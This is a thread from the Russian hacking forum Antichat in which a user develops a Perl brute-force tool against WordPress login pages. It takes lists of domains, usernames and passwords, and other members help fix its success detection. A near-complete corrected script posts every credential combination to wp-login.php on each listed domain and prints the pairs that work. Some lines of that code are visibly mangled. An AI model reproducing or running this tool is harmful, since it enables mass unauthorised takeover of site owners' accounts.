Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   [Perl] Пилю велосипед. До аналога WPScan далеко... (https://forum.antichat.xyz/showthread.php?t=427545)

jslby 10.07.2015 09:19

Накидал на коленке сегодня за ночь код, но он не работает. Возможно для знающих эта проблема очевидна. В целом вот: https://gist.github.com/anonymous/4692681932d816355e73

Затык идет на чтении кода ответа - он всегда приходит 200.

Теперь немного объясню по параметрам:

-d - файл со списком доменов

-p - тут будет прокси(пока не сделал, сделаю когда разберусь с остальным)

-w - список паролей

-n - список имен для перебора

В планах добавить еще мультипоточность и развивать. Выбрал перл именно для обучения, и проект создается только в ознакомительных целях

P.S. просьба подсказать только по данной проблеме. Остальное хочется решить самому. Ну и ждите обновлений в этой ветке. Код будет открытый и пользоваться сможет каждый

Шниперсон 10.07.2015 13:22

Цитата:

Сообщение от jslby

Накидал на коленке сегодня за ночь код, но он не работает. Возможно для знающих эта проблема очевидна. В целом вот:
https://gist.github.com/anonymous/4692681932d816355e73
Затык идет на чтении кода ответа - он всегда приходит 200.
Теперь немного объясню по параметрам:
-d - файл со списком доменов
-p - тут будет прокси(пока не сделал, сделаю когда разберусь с остальным)
-w - список паролей
-n - список имен для перебора
В планах добавить еще мультипоточность и развивать. Выбрал перл именно для обучения, и проект создается только в ознакомительных целях
P.S. просьба подсказать только по данной проблеме. Остальное хочется решить самому. Ну и ждите обновлений в этой ветке. Код будет открытый и пользоваться сможет каждый

А шо не питон ? Пион по-мойму кошернее

Swat2k 10.07.2015 14:40

jslby скрипт рабочий, правда недопиленный, только учти тебе не нужно проверять на 200 код ошибки (он будет всегда при неверном логине\пароле). При успешном логине wp-login.php вернет 301 а не 200.

ZodiaX 10.07.2015 15:51

В перле не особо силен, но почему бы так не проверять

Код:

if($resp->is_success){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}


Swat2k 10.07.2015 16:43

И с учетом моего комментария

Код:

if($resp->is_redirect){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}


jslby 10.07.2015 18:28

Цитата:

Сообщение от Swat2k

И с учетом моего комментария
Код:

if($resp->is_redirect){
print "Found: $thisName:$thisPass\n";
}else{
print "Not Found: $thisName:$thisPass $resp->status_line\n";
}


Да, спасибо. Логику с редиректом понял. Но код запускается и при первом запросе в любом случае всегда отдает след: 301 Moved Permanently. В следующих возвращает страницу логина с кодом 200, даже когда я точно уверен что логин и пароль верны

b3 10.07.2015 22:40

А где многопоточность?)

jslby 10.07.2015 22:46

Цитата:

Сообщение от b3

А где многопоточность?)

Сегодня выделю время, если кто подскажет по текущей проблеме. Планирую делать через очередь и обработчик. Как считаете?

jslby 10.07.2015 22:49

Цитата:

Сообщение от Шниперсон

А шо не питон ? Пион по-мойму кошернее

Только хардкор))

Перл тру язык с очень гибкими возможностями. И еще он мне нравится

Swat2k 11.07.2015 02:46

Цитата:

Сообщение от jslby

Сегодня выделю время, если кто подскажет по текущей проблеме. Планирую делать через очередь и обработчик. Как считаете?

Ты передаешь не все параметры скрипту, смотри в лисе что уходит в скрипт. Исправил.

Код:

use strict;
use warnings;
use Getopt::Std;
use HTTP::Cookies;
use LWP;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);

my $cookie_jar = HTTP::Cookies->new(
    file => "cookies.dat",
    autosave => 1,
);

getopt('d:p:n:w:');
our($opt_d, $opt_p, $opt_n, $opt_w, $dfh, $nfh, $wfh);

open($dfh, '){
    chomp $thisDomain;

    open($nfh, '){
        chomp $thisName;

        open($wfh, '){
            chomp $thisPass;

            my $ua = LWP::UserAgent->new;
         
            $ua->cookie_jar($cookie_jar);
         
            my    $resp = $ua->post("http://$thisDomain/wp-login.php", { 'log' => $thisName ,
                                                                            'pwd' => $thisPass,
                                                                            'wp-sumbit' => 'Log In',
                                                                            'redirect_to' => "http://$thisDomain/wp-login.php",
                                                                            'rememberme' => 'forever',
                                                                            'testcookie' => 1});

         
            if($resp->is_redirect){
                print "Found: $thisName:$thisPass\n";
            }else{
                print "Not Found: $thisName:$thisPass $resp->status_line\n";
            }
         
            undef $resp;

            }
    }
}



Время: 03:31